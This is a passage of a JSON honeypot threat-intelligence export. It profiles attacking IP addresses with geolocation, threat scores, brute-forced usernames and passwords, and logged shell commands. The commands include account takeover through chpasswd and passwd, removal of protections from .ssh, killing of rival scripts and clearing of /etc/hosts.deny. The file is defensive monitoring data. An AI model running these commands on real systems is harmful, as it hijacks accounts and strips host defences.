        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ORzhJhi5F0xn\"|chpasswd|bash",
        "echo \"root:g6tJB7wgzIWr\"|chpasswd|bash",
        "echo \"root:niWTkuMJSc47\"|chpasswd|bash",
        "echo \"root:rJ2001z2LfpN\"|chpasswd|bash",
        "echo \"warnight\\ngyUtuiKbmcTT\\ngyUtuiKbmcTT\\n\"|passwd",
        "echo \"warnight\\nha1GpwWVeYnw\\nha1GpwWVeYnw\\n\"|passwd",
        "echo -e \"warnight\\ngyUtuiKbmcTT\\ngyUtuiKbmcTT\"|passwd|bash",
        "echo -e \"warnight\\nha1GpwWVeYnw\\nha1GpwWVeYnw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Tczew",
      "asn": 50661,
      "as_org": "Telkab sp. z o.o.",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 638,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:41:00.572000+00:00",
        "last_seen_30d": "2026-05-15T12:20:47.023000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 550,
        "Suricata": 88
      }
    },
    "51.75.247.232": {
      "attack_count": 460,
      "first_seen": "2026-05-11T03:09:11.110Z",
      "last_seen": "2026-05-28T18:24:54.949Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "curl",
        "diradmin",
        "postgres",
        "sistema",
        "test",
        "azureuser",
        "bitrix",
        "development",
        "ftptest",
        "iot",
        "jenkins",
        "mcserver",
        "mehdi",
        "teamspeak3",
        "test001",
        "tester"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123!@#qweQWE",
        "123123123",
        "1234",
        "12345678",
        "123456789Qq",
        "12345trewq",
        "123abcABC",
        "1314520",
        "1qa2ws3ed",
        "7895123",
        "Aa123321",
        "Admin2022!@#",
        "Huawei12#$",
        "P@ssw0rd",
        "Password@123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n0ejALPAqRtoD\\n0ejALPAqRtoD\\n\"|passwd",
        "echo \"123456\\nFo1hbIlWZ142\\nFo1hbIlWZ142\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nczfLYA7DakxB\\nczfLYA7DakxB\\n\"|passwd",
        "echo -e \"123456\\n0ejALPAqRtoD\\n0ejALPAqRtoD\"|passwd|bash",
        "echo -e \"123456\\nFo1hbIlWZ142\\nFo1hbIlWZ142\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nczfLYA7DakxB\\nczfLYA7DakxB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.6,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 582,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:09:11.110000+00:00",
        "last_seen_30d": "2026-05-28T18:25:57.415000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 460,
        "Suricata": 122
      }
    },
    "140.106.25.230": {
      "attack_count": 425,
      "first_seen": "2026-05-21T23:14:29.678Z",
      "last_seen": "2026-05-24T15:23:22.045Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "carla",
        "portal",
        "soporte",
        "test1",
        "alex",
        "brandon",
        "dong",
        "guest",
        "iptv",
        "pablo",
        "postgres",
        "sammy",
        "scott",
        "user",
        "userftp",
        "usuario1",
        "vhserver"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "11111111",
        "1234",
        "12345678",
        "369369",
        "520123",
        "Admin123",
        "Erkan123",
        "Ff12345678",
        "QAZwsx123!@#",
        "Qaz123wsx",
        "Qwer123",
        "Test@123",
        "Zxasqw12",
        "abc.12345",
        "admin1234",
        "alex123",
        "brandon123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Test@123\\noqdvmOnc6HAp\\noqdvmOnc6HAp\\n\"|passwd",
        "echo \"carla\\n6armt3WHh1XT\\n6armt3WHh1XT\\n\"|passwd",
        "echo \"portal\\nC568sYO9Dsdv\\nC568sYO9Dsdv\\n\"|passwd",
        "echo \"root:77ho8lEg9nv7\"|chpasswd|bash",
        "echo -e \"Test@123\\noqdvmOnc6HAp\\noqdvmOnc6HAp\"|passwd|bash",
        "echo -e \"carla\\n6armt3WHh1XT\\n6armt3WHh1XT\"|passwd|bash",
        "echo -e \"portal\\nC568sYO9Dsdv\\nC568sYO9Dsdv\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Dudswell",
      "asn": 11290,
      "as_org": "Cogeco Connexion inc",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:14:29.678000+00:00",
        "last_seen_30d": "2026-05-24T15:24:30.063000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 92
      }
    },
    "46.165.56.242": {
      "attack_count": 400,
      "first_seen": "2026-05-17T02:48:24.676Z",
      "last_seen": "2026-05-27T02:25:46.379Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "amp",
        "andy",
        "apolo",
        "foundry",
        "jenkins",
        "odoo12",
        "sdtd",
        "systemd",
        "ts2",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "$",
        "1",
        "1029384756",
        "111",
        "121121",
        "1234560",
        "123456456",
        "123qwe#",
        "123qwe.com",
        "147258",
        "1z2x3c",
        "3.1415",
        "Jenkins@123",
        "P@ssword123!",
        "Qwerty12345678",
        "Tk123456",
        "Voidsetdownload.so",
        "Welcome@1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"amp\\nOiAtsT6V13RO\\nOiAtsT6V13RO\\n\"|passwd",
        "echo \"root:ZjYrw8LGIhGp\"|chpasswd|bash",
        "echo \"root:hn9QJnE8gksV\"|chpasswd|bash",
        "echo -e \"amp\\nOiAtsT6V13RO\\nOiAtsT6V13RO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nizhny Tagil",
      "asn": 49218,
      "as_org": "Nizhnetagilskie Kompyuternye Seti LLC",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.0,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 505,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:48:24.676000+00:00",
        "last_seen_30d": "2026-05-27T02:26:54.386000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 105
      }
    },
    "43.153.100.210": {
      "attack_count": 304,
      "first_seen": "2026-05-17T18:28:58.813Z",
      "last_seen": "2026-05-17T18:57:43.922Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweZXC",
        "135858",
        "2014qwer",
        "555",
        "aaa123",
        "aaaaaaaaaaaa",
        "admin2014",
        "asteriskftp",
        "elena123",
        "hj123",
        "morgan",
        "nowone",
        "pa123",
        "penguin",
        "pragma",
        "teddy",
        "testing123456",
        "transltr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:S997xyJ6HaUe\"|chpasswd|bash",
        "echo \"root:cL7b1RspkS0R\"|chpasswd|bash",
        "echo \"root:eTyttVhBqnbM\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T18:28:58.813000+00:00",
        "last_seen_30d": "2026-05-17T18:58:48.420000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "59.98.148.5": {
      "attack_count": 300,
      "first_seen": "2026-05-21T21:35:59.523Z",
      "last_seen": "2026-05-24T20:10:19.803Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user1",
        "345gs5662d34",
        "ali",
        "brenda",
        "composer",
        "developer",
        "ict",
        "oracle",
        "piuser",
        "robert",
        "testadmin",
        "zimbra"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "1234",
        "123456",
        "1qaz2wsx",
        "345gs5662d34",
        "Abc123##",
        "P@ssw0rd",
        "Qwe123!!",
        "Qwer.1234",
        "aa123456",
        "asdQWE123",
        "bismillah",
        "brenda",
        "composer",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "linux123",
        "piuser",
        "qwerty@123",
        "robert"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:WIrwyVTQOeQ5\"|chpasswd|bash",
        "echo \"root:vi7g00QWX5xn\"|chpasswd|bash",
        "echo \"test12345\\ntS8OOdvTGjPu\\ntS8OOdvTGjPu\\n\"|passwd",
        "echo -e \"test12345\\ntS8OOdvTGjPu\\ntS8OOdvTGjPu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Coimbatore",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:35:59.523000+00:00",
        "last_seen_30d": "2026-05-24T20:11:25.529000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 300,
        "Suricata": 71
      }
    },
    "116.99.171.35": {
      "attack_count": 282,
      "first_seen": "2026-05-04T04:32:13.555Z",
      "last_seen": "2026-05-04T04:48:37.343Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "developer",
        "monitor",
        "ace",
        "admian",
        "backup",
        "carol",
        "cf1c22",
        "cpanel",
        "demo",
        "ftp",
        "george",
        "geral",
        "install",
        "kelly",
        "library",
        "master",
        "mms",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "111111",
        "1234",
        "12345",
        "72b1bd75ac87852a",
        "91482d",
        "P@ssw0rd",
        "abc123",
        "ace",
        "admin1",
        "bananapi",
        "calvin",
        "carol",
        "cf1c22",
        "demo",
        "developer",
        "george",
        "geral",
        "htpcguides"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 414,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:32:13.555000+00:00",
        "last_seen_30d": "2026-05-04T04:49:44.304000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 132
      }
    },
    "185.9.193.111": {
      "attack_count": 280,
      "first_seen": "2026-05-30T08:59:01.406Z",
      "last_seen": "2026-05-30T09:33:19.057Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "fabian",
        "abdullah",
        "jackson",
        "ubuntu",
        "victor",
        "wd"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ4esz",
        "111222",
        "123",
        "123456",
        "123789",
        "123qweQWE@",
        "2233",
        "Aa.123456",
        "ab123456",
        "abdullah",
        "admin1234",
        "iloveyou",
        "jackson",
        "wd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nPxZaUEBCQQk0\\nPxZaUEBCQQk0\\n\"|passwd",
        "echo \"admin1234\\nbN0ad1T5BEZb\\nbN0ad1T5BEZb\\n\"|passwd",
        "echo \"root:5yKPdohVKC2z\"|chpasswd|bash",
        "echo -e \"123456\\nPxZaUEBCQQk0\\nPxZaUEBCQQk0\"|passwd|bash",
        "echo -e \"admin1234\\nbN0ad1T5BEZb\\nbN0ad1T5BEZb\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Valencia",
      "asn": 198479,
      "as_org": "Nunsys SA",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T08:59:01.406000+00:00",
        "last_seen_30d": "2026-05-30T09:34:19.959000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 50
      }
    },
    "185.242.234.173": {
      "attack_count": 242,
      "first_seen": "2026-05-19T21:27:12.324Z",
      "last_seen": "2026-05-22T08:12:11.260Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "work",
        "345gs5662d34",
        "claude",
        "pablo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1q2w3e4r5t6y",
        "25171974",
        "@admin123",
        "Aa11223344",
        "Aa123123.",
        "Aa123654",
        "Zx123456",
        "abgrtyu",
        "asdf1234@",
        "avinash@123",
        "banjo",
        "blackbox",
        "claude",
        "debug",
        "egon",
        "hik12345",
        "home"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nWgMGbFStDVys\\nWgMGbFStDVys\\n\"|passwd",
        "echo -e \"123456\\nWgMGbFStDVys\\nWgMGbFStDVys\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 323,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:27:12.324000+00:00",
        "last_seen_30d": "2026-05-22T08:13:16.767000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 81
      }
    },
    "178.27.90.142": {
      "attack_count": 241,
      "first_seen": "2026-05-20T02:21:57.259Z",
      "last_seen": "2026-05-20T02:48:22.444Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11223344",
        "123456123456",
        "131313",
        "2086",
        "BYROOT49",
        "Monkey1",
        "admin!@#",
        "bpoint",
        "bullshit",
        "california",
        "claude",
        "elsa",
        "fernando",
        "k0nig#12345",
        "kaliman",
        "pulamea1",
        "qq123456",
        "sexsex"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:pVmhyFneqMnj\"|chpasswd|bash",
        "echo \"root:sGsqygS0gf7R\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Neus\u00e4\u00df",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:21:57.259000+00:00",
        "last_seen_30d": "2026-05-20T02:49:24.060000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 57
      }
    },
    "196.196.253.20": {
      "attack_count": 209,
      "first_seen": "2026-05-16T03:28:55.427Z",
      "last_seen": "2026-05-16T04:07:33.340Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "abc",
        "boss",
        "brengoziscute",
        "crypto",
        "debian",
        "deploy",
        "enter",
        "jtribino",
        "linux",
        "newuser",
        "omkar",
        "pakchoi",
        "warnight"
      ],
      "passwords_attempted": [
        "linux123",
        "0day.today",
        "123",
        "123!@#QWE",
        "123456",
        "123456789",
        "123456789AA",
        "123456a?",
        "123qwe!!!",
        "1qazxsw2",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin000",
        "Kermit123@",
        "Pembantu23@@",
        "Push@8240",
        "QQqq123456",
        "Qwer1234#",
        "azerty",
        "boss@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456789\\nPBcfvtwJI5eQ\\nPBcfvtwJI5eQ\\n\"|passwd",
        "echo -e \"123456789\\nPBcfvtwJI5eQ\\nPBcfvtwJI5eQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 58065,
      "as_org": "Orion Network Limited",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 277,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:28:55.427000+00:00",
        "last_seen_30d": "2026-05-16T04:08:43.614000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 209,
        "Suricata": 68
      }
    },
    "112.103.207.148": {
      "attack_count": 191,
      "first_seen": "2026-05-22T20:56:26.260Z",
      "last_seen": "2026-05-23T07:51:22.270Z",
      "sessions": 96,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
